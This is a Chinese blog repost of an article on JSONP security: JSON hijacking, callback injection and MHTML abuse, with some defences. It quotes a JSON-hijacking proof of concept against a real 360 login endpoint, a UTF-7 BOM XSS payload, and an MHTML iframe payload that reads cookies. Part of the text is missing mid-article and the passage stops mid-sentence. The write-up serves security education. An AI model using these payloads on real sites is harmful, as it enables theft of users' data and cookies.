V2AS问路
JSONP跨域资源共享的安全问题
阅读原文时间：2023年07月11日阅读：1

目录

关于 JSONP

一、JSON 劫持

二、Callback 可定义导致的安全问题

三、其他文件格式（ Content-Type ）与 JSON

四、防御

摘自：http://blog.knownsec.com/2015/03/jsonp_security_technic/

JSONP跨域

然而，安全问题一直都是伴随着业务发展而出现的，JSONP 的出现同样带来了各种各样的安全问题。本文对 JSONP 实现过程中给带来的安全攻防问题做了一些简单介绍。

一、JSON 劫持

JSON 劫持又为“ JSON Hijacking ”，最开始提出这个概念大概是在 2008 年国外有安全研究人员提到这个 JSONP 带来的风险。其实这个问题属于 CSRF（ Cross-site request forgery 跨站请求伪造）攻击范畴。当某网站通过 JSONP 的方式来跨域（一般为子域）传递用户认证后的敏感信息时，攻击者可以构造恶意的 JSONP 调用页面，诱导被攻击者访问来达到截取用户敏感信息的目的。一个典型的 JSON Hijacking 攻击代码：

<script>
function&nbsp;wooyun(v){
&nbsp;&nbsp;&nbsp;&nbsp;alert(v.username);
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

这个是在乌云网上报告的一个攻击例子。当被攻击者在登陆 360 网站的情况下访问了该网页时，那么用户的隐私数据（如用户名，邮箱等）可能被攻击者劫持。

虽然这种攻击已经出现了好几年了，但是目前在大的门户网站都还普遍存在的，而且由于安全意识问题很多官方可能还不认为这是一个安全问题，上面提到的例子其实当时在乌云网站上 360 是忽视了的！

当然还是随着安全意识和技术水平的提高，很多甲方公司开始重视此类安全问题，开始着手研究解决方案。其中一个方案就是验证 JSON 文件调用的来源（ Referer ）。这个方案是主要利用了  ） 具体参考：http://hi.baidu.com/hi_heige/item/f1ecde01c4af3ed61ef04646

b、过滤 callback 以及 JSON 数据输出

这样的防御机制是比较传统的攻防思维，对输出点进行 xss 过滤。又是一个看上去很完美的解决方案，但是往往都是“事与愿违”。当年( 2011 年)一个 utf7-BOM 就复活了 n 个 XSS 漏洞。这种攻击方式主要还是存在与 IE 里(注在 IE 较新版本里已经“修复”) 也就是当我们在 callback 点输出 +/v8 这样的 utf7-BOM 的时候， IE 浏览器会把当前执行的编码认为是 utf7 ,所以我们通过 utf7 提交的 XSS 代码会被自动解码并执行。如：

http://127.0.0.1/getUsers.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20

其中：

%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20

URLdecode 为：

+/v8+ADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-

其中 +/v8  为 utf7-BOM ，后面的为我们注入的 utf-7 编码后的 XSS 代码的：

<html><body><script>alert(1);</script></body></html>

参考：http://hi.baidu.com/hi_heige/item/357831ab6932239a14107346

这次利用 utf7-BOM 的方法是一个非常有代表性的通用方法，IE 后面的升级也是做一定的防御，另外在开发者角度也给出了防御方法直接强制指定 Content-Type里的编码 ( Content-Type: application/json; charset=utf-8 )  对于现在的浏览器上，虽然没有比较通用的技巧，但是对于开发者本事过滤的机制一样可能存在各种绕过的可能。

看来上面提到的 a 和 b 两点的防御缺一都可能出问题，那么我们使用“ a + b 方案”，也就是两者都上是不是很安全了不会出现问题了呢？一切皆有可能，我们拭目以待！

三、其他文件格式（ Content-Type ）与 JSON

1、MHTML 与 JSONP

在 2011 年 IE 曾经出现过一个听过 mhtml 协议解析跨域的漏洞：MHTML  Mime-Formatted Request Vulnerability  ( CVE-2011-0096 )  https://technet.microsoft.com/library/security/ms11-026 而当时的一个常见利用就是利用 JSONP 调用机制里的 Callback 函数名输出点：

<iframe src="mhtml:http://127.0.0.1/getUsers.php?callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-
Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d
WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2ll
KTsNCmZ1bmN0aW9uIGNyb3NzY
29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93I
DogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5
kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjc
m9zc2Nvb2tpZSgpIiwxMDAwKTsNC
jwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>

[详见： 《Hacking with mhtml protocol handler》http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt]

这个点就充分利用了 callback 输出点直接输出一个 mhtml 文件格式，然后利用